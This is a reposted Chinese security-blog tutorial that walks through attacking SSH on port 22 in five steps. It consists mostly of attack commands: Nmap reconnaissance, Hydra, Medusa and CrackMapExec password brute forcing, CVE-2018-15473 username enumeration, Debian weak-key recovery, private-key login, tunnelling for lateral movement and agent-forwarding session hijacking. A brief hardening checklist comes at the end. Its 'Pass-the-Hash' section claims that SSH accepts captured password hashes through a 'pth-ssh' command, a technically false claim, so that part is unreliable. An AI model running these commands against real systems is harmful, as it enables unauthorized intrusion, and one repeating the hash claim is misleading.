SSH端口22完全沦陷:5个步骤渗透测试全过程

admin 2025年2月10日23:42:20评论50 views字数 2302阅读7分40秒阅读模式

前言:为什么 SSH 攻击值得关注?

SSH(Secure Shell)是一种用于在不安全网络上建立安全连接的协议,主要用于远程服务器管理。由于 SSH 端口 22 通常默认开放,且广泛用于服务器管理,因此它成为攻击者的重点目标。

在这篇文章中,我们将深入探讨 如何利用 SSH 端口 22 进行渗透测试,包括信息收集、漏洞评估、暴力破解、漏洞利用以及后渗透攻击等关键步骤。

SSH端口22完全沦陷:5个步骤渗透测试全过程

攻击流程概览

1. 信息收集(Reconnaissance)

  • 使用 Nmap 扫描开放的 SSH 端口。
  • 获取 SSH 服务器版本信息 (nmap -sV)。
  • 通过 Banner Grabbing 提取 SSH 横幅信息。

2. 漏洞评估(Vulnerability Assessment)

  • 使用 ssh-audit 检测 SSH 配置弱点。
  • 在 CVE 数据库中查找相关漏洞。

3. 暴力破解与密钥利用(Brute Force & Key Exploitation)

  • 使用 Hydra 或 Medusa 进行密码暴力破解。
  • 利用暴露的 SSH 私钥进行认证。

4. 后渗透攻击(Post-Exploitation)

  • 设置 SSH 隧道 进行横向移动。
  • 劫持现有 SSH 会话。

第一步:信息收集

1. 端口扫描

使用 Nmap 识别开放的 SSH 端口(默认端口为 22):

nmap -p22 <目标IP>

2. 服务版本探测

检测 SSH 服务器版本,以便查找可能的漏洞:

nmap -sV -p22 <目标IP>

3. SSH Banner Grabbing

提取 SSH 服务的横幅信息,获取操作系统版本和 SSH 版本:

nc <目标IP> 22

第二步:漏洞评估

1. 检测已知漏洞(CVE)

一旦获取 SSH 服务器版本,可以在 CVE Details 或 NVD 数据库中搜索已知漏洞。此外,还可以使用 Nmap NSE 脚本自动扫描 SSH 漏洞:

nmap --script sshv1 -p22 <目标IP>
nmap -p22 <目标IP> --script ssh2-enum-algos
nmap -p22 <目标IP> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <目标IP> --script ssh-auth-methods --script-args="ssh.user=root"

第三步:暴力破解与密钥攻击

1. 使用 Hydra 进行 SSH 暴力破解

hydra -l <用户名> -P <密码列表> <目标IP> ssh

2. 使用 Medusa 进行 SSH 暴力破解

medusa -h <目标IP> -u <用户名> -P <密码列表> -M ssh

高级攻击技术:Pass-the-Hash(PTH)

在高级渗透测试中,攻击者可能不会直接暴力破解密码,而是利用捕获到的 密码哈希 进行认证,绕过传统的密码验证机制。

1. 使用 CrackMapExec 进行并行 SSH 暴力破解

crackmapexec ssh <目标IP> -u <用户名> -p <密码>

2. 使用 pth-ssh 进行 Pass-the-Hash 攻击

pth-ssh <用户名>@<目标IP> <密码哈希>

为什么使用 PTH 攻击?

  • 比暴力破解更隐蔽:不会触发登录失败的安全警报。
  • 绕过速率限制:SSH 服务器通常会对失败登录进行限制,而 PTH 直接使用合法哈希进行认证。

第四步:SSH 关键漏洞利用

1. SSH 用户名枚举漏洞(CVE-2018-15473)

攻击者可以利用此漏洞分析 SSH 响应,推测系统中的有效用户名。

python ssh_enum.py <目标IP> -U <用户名列表>

2. SSH OpenSSL 预测随机数漏洞(CVE-2008-0166)

2006-2008 年间,Debian 基于 OpenSSL 生成的 SSH 密钥因随机数种子问题,导致密钥可预测。攻击者可以利用该漏洞恢复私钥。

git clone https://github.com/g0tmi1k/debian-ssh.git
cd debian-ssh
./find_key.py <目标IP> <用户名>

第五步:后渗透攻击(Post-Exploitation)

1. 使用暴露的 SSH 私钥直接登陆

如果攻击者获取了 SSH 私钥(如 id_rsa),可以直接认证目标系统。

chmod 600 id_rsa
ssh -i id_rsa <用户名>@<目标IP>

2. 设置 SSH 隧道进行横向移动

SSH 本地端口转发

将本地端口映射到目标网络的内部端口,以访问内部服务。

ssh -L <本地端口>:<内网IP>:<内网端口> <用户名>@<目标IP>

示例(访问目标内网的 Web 服务器):

ssh -L 8080:10.10.10.5:80 [email protected]

3. 劫持现有 SSH 会话

检查现有 SSH 进程

攻击者可以查找系统上已建立的 SSH 连接并劫持其会话。

ps aux | grep ssh

利用 SSH 代理转发进行会话劫持

env | grep SSH_AUTH_SOCK
ssh-add -l
ssh -A <用户名>@<目标IP>

如果 SSH 代理已经存储了密钥,可以直接连接到其他系统,而无需再次输入密码。

总结:如何防御 SSH 攻击?

面对 SSH 端口 22 的攻击,服务器管理员应采取以下措施:

✅ 更改默认 SSH 端口(避免使用 22)
✅ 禁用密码认证,启用 SSH 密钥认证
✅ 限制 SSH 访问,仅允许特定 IP 连接
✅ 使用 Fail2Ban 或类似工具防止暴力破解
✅ 定期更新 OpenSSH 版本,修复已知漏洞
✅ 禁用 SSH 代理转发,防止会话劫持

SSH 安全至关重要,无论是企业服务器还是个人云主机,都应当采取适当的安全措施,以防止攻击者通过端口 22 入侵系统。

👉 你是否遇到过 SSH 相关的安全问题?欢迎在评论区留言讨论! 🚀

原文始发于微信公众号(HW安全之路):SSH端口22完全沦陷:5个步骤渗透测试全过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月10日23:42:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSH端口22完全沦陷:5个步骤渗透测试全过程https://cn-sec.com/archives/3724464.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息